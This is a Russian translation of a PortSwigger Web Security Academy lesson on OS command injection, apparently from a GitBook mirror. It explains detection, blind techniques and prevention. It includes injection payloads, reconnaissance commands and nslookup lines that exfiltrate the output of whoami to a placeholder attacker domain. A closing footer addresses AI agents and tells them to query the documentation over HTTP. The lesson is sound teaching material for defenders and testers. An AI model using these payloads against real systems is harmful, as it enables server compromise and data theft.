# OS command injection

В этом разделе мы узнаем, что такое OS command injection, посмотрим, как обнаруживать и эксплуатировать уязвимости, увидим примеры полезных команды и приёмы для разных ОС и рассмотрим, как предотвращать OS command injection.

![os-command-injection.svg](/files/9rWPIu7MukzwPuHoVH7u)

{% hint style="success" %}
**Лабораторные работы**

Если вы знакомы с базовыми концепциями уязвимостей OS command injection и хотите попрактиковаться в их эксплуатации на реалистичных, намеренно уязвимых целях, перейдите к лабораторным работам по ссылке ниже.

* [Посмотреть все лабораторные по OS command injection](https://portswigger.net/web-security/all-labs#os-command-injection)
  {% endhint %}

## Что такое OS command injection?

OS command injection также известна как «shell injection», позволяет атакующему выполнять команды операционной системы на сервере, на котором работает приложение, и обычно полностью компрометировать приложение и его данные. Часто атакующий может использовать уязвимость OS command injection, чтобы скомпрометировать другие части хостинговой инфраструктуры и, эксплуатируя доверительные отношения, развить атаку на другие системы внутри организации.

## Внедрение OS command injection

В этом примере приложение интернет-магазина позволяет пользователю посмотреть, есть ли товар в наличии в конкретном магазине. Эта информация доступна по URL:

```
https://insecure-website.com/stockStatus?productID=381&storeID=29
```

Чтобы предоставить сведения о наличии, приложению нужно опросить различные легаси-системы. По историческим причинам функциональность реализована через вызов shell-команды с идентификаторами товара и магазина в качестве аргументов:

```bash
stockreport.pl 381 29
```

Эта команда выводит статус наличия указанного товара, который возвращается пользователю.

Приложение не реализует защиту от OS command injection, поэтому атакующий может отправить следующий ввод для выполнения произвольной команды:

```bash
& echo aiwefwlguh &
```

Если этот ввод отправить в параметре `productID`, команда, выполняемая приложением, будет такой:

```bash
stockreport.pl & echo aiwefwlguh & 29
```

Команда `echo` заставляет вывести переданную строку в выходные данные. Это полезный способ проверять некоторые типы OS command injection. Символ `&` — разделитель команд shell. В этом примере он приводит к выполнению трёх отдельных команд, одна за другой.

Вывод, возвращённый пользователю:

```
Error - productID was not provided
aiwefwlguh
29: command not found
```

Три строки вывода демонстрируют, что:

* Исходная команда `stockreport.pl` была выполнена без ожидаемых аргументов, поэтому вернула сообщение об ошибке.
* Внедрённая команда `echo` была выполнена, и переданная строка появилась в выводе.
* Исходный аргумент `29` был выполнен как команда, что вызвало ошибку.

Размещение дополнительного разделителя команд `&` после внедрённой команды полезно, поскольку отделяет внедрённую команду от того, что следует после точки инъекции. Это снижает вероятность того, что последующее предотвратит выполнение внедрённой команды.

{% hint style="success" %}
**LAB**

[**OS command injection, simple case**](https://portswigger.net/web-security/os-command-injection/lab-simple)
{% endhint %}

## Полезные команды

После того как вы обнаружили уязвимость OS command injection, полезно выполнить некоторые первичные команды, чтобы получить информацию о системе. Ниже приведена сводка команд, полезных на платформах Linux и Windows:

| Назначение команды        | Linux         | Windows         |
| ------------------------- | ------------- | --------------- |
| Имя текущего пользователя | `whoami`      | `whoami`        |
| Операционная система      | `uname -a`    | `ver`           |
| Сетевые настройки         | `ifconfig`    | `ipconfig /all` |
| Сетевые соединения        | `netstat -an` | `netstat -an`   |
| Запущенные процессы       | `ps -ef`      | `tasklist`      |

## Blind OS command injection

Многие OS command injection — «слепые» уязвимости. Это означает, что приложение не возвращает вывод команды в своём HTTP-ответе. Слепые уязвимости всё ещё можно эксплуатировать, но требуются другие техники.

Например, представим сайт, который позволяет пользователям отправлять отзыв. Пользователь вводит свой адрес email и текст отзыва. Серверное приложение затем формирует письмо администратору сайта с содержимым отзыва. Для этого оно вызывает программу `mail` с переданными данными:

```bash
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
```

Вывод команды `mail` (если он есть) не возвращается в ответах приложения, поэтому полезная нагрузка с `echo` здесь не сработает. В этой ситуации можно использовать различные другие техники для обнаружения и эксплуатации уязвимости.

### Обнаружение Blind OS command injection с помощью временных задержек

Можно использовать внедрённую команду, создающую временную задержку, чтобы по времени ответа приложения подтвердить, что команда была выполнена. Команда `ping` хорошо подходит для этого, поскольку позволяет указать число ICMP-пакетов для отправки. Это даёт возможность управлять временем выполнения команды:

```bash
& ping -c 10 127.0.0.1 &
```

Эта команда заставляет приложение пинговать свой loopback-интерфейс 10 секунд.

{% hint style="success" %}
**LAB**

[**Blind OS command injection with time delays**](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
{% endhint %}

### Эксплуатация Blind OS command injection через перенаправление вывода

Можно перенаправить вывод внедрённой команды в файл внутри web-root, который затем можно получить через браузер. Например, если приложение отдаёт статические ресурсы из файловой системы по пути `/var/www/static`, можно отправить такой ввод:

```bash
& whoami > /var/www/static/whoami.txt &
```

Символ `>` отправляет вывод команды `whoami` в указанный файл. Затем можно через браузер забрать `https://vulnerable-website.com/whoami.txt`, чтобы получить файл и увидеть вывод внедрённой команды.

{% hint style="success" %}
**LAB**

[**Blind OS command injection with output redirection**](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
{% endhint %}

### Эксплуатация Blind OS command injection с использованием out-of-band (OAST) техник

Можно использовать OS command injection, которая вызовет внеполосное сетевое взаимодействие (out-of-band) с системой, контролируемой вами, применяя техники OAST. Например:

```bash
& nslookup kgji2ohoyw.web-attacker.com &
```

Эта полезная нагрузка использует команду `nslookup`, чтобы инициировать DNS-запрос к указанному домену. Атакующий может отслеживать, произошёл ли запрос, чтобы подтвердить успешность выполнения команды.

{% hint style="success" %}
**LAB**

[**Blind OS command injection with out-of-band interaction**](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
{% endhint %}

Внеполосный канал предоставляет простой способ эксфильтрации вывода внедрённых команд:

```bash
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
```

Это приводит к DNS-запросу к домену атакующего, который содержит результат команды `whoami`:

```
wwwuser.kgji2ohoyw.web-attacker.com
```

{% hint style="success" %}
**LAB**

[**Blind OS command injection with out-of-band data exfiltration**](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
{% endhint %}

## Способы внедрения OS command injection

Можно использовать ряд метасимволов shell для проведения атак OS command injection. Некоторые символы работают как разделители команд и позволяют сцеплять команды. Следующие разделители команд работают и в Windows, и в Unix-подобных системах:

* `&`
* `&&`
* `|`
* `||`

Следующие разделители работают только в Unix-подобных системах:

* `;`
* Newline (`0x0a` or `\n`)

В Unix-подобных системах также можно использовать обратные кавычки или символ доллара для встроенного выполнения внедрённой команды внутри исходной:

* `` ` ``injected command `` ` ``
* `$(`injected command `)`

Разные метасимволы shell имеют слегка различающееся поведение, что может влиять на их работоспособность в определённых ситуациях. Это может определять, позволят ли они получить вывод команды в текущем канале (in-band) или пригодны только для «слепой» эксплуатации.

Иногда контролируемый вами ввод оказывается внутри кавычек в исходной команде. В таком случае нужно завершить контекст кавычек (с помощью `"` или `'`), а затем использовать подходящие метасимволы shell для инъекции новой команды.

## Как предотвращать атаки OS command injection

Самый эффективный способ предотвращать уязвимости OS command injection — никогда не вызывать OS command из кода уровня приложения. Почти всегда существуют другие способы реализовать необходимую функциональность, используя безопасные платформенные API.

Если вам всё же приходится вызывать OS command с пользовательским вводом, необходимо выполнять строгую проверку ввода. Примеры эффективной проверки:

* Проверка по разрешающему списку допустимых значений.
* Проверка, что ввод — число.
* Проверка, что ввод содержит только буквенно-цифровые символы, без иной синтаксической информации и пробелов.

Никогда не пытайтесь «очищать» ввод с помощью экранирования метасимволов shell. На практике это слишком ошибко опасно и может быть обойдёно квалифицированным атакующим.

{% hint style="info" %}
**Подробнее**

* [Поиск уязвимостей OS command injection с помощью веб-сканера уязвимостей Burp Suite](https://portswigger.net/burp/vulnerability-scanner)
* [Материал PortSwigger Research по докладу Hunting Asynchronous Vulnerabilities с 44Con и BSides Manchester](https://portswigger.net/research/hunting-asynchronous-vulnerabilities)
  {% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wr3dmast3r.gitbook.io/portswiggerfundamental/server-side/os-command-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
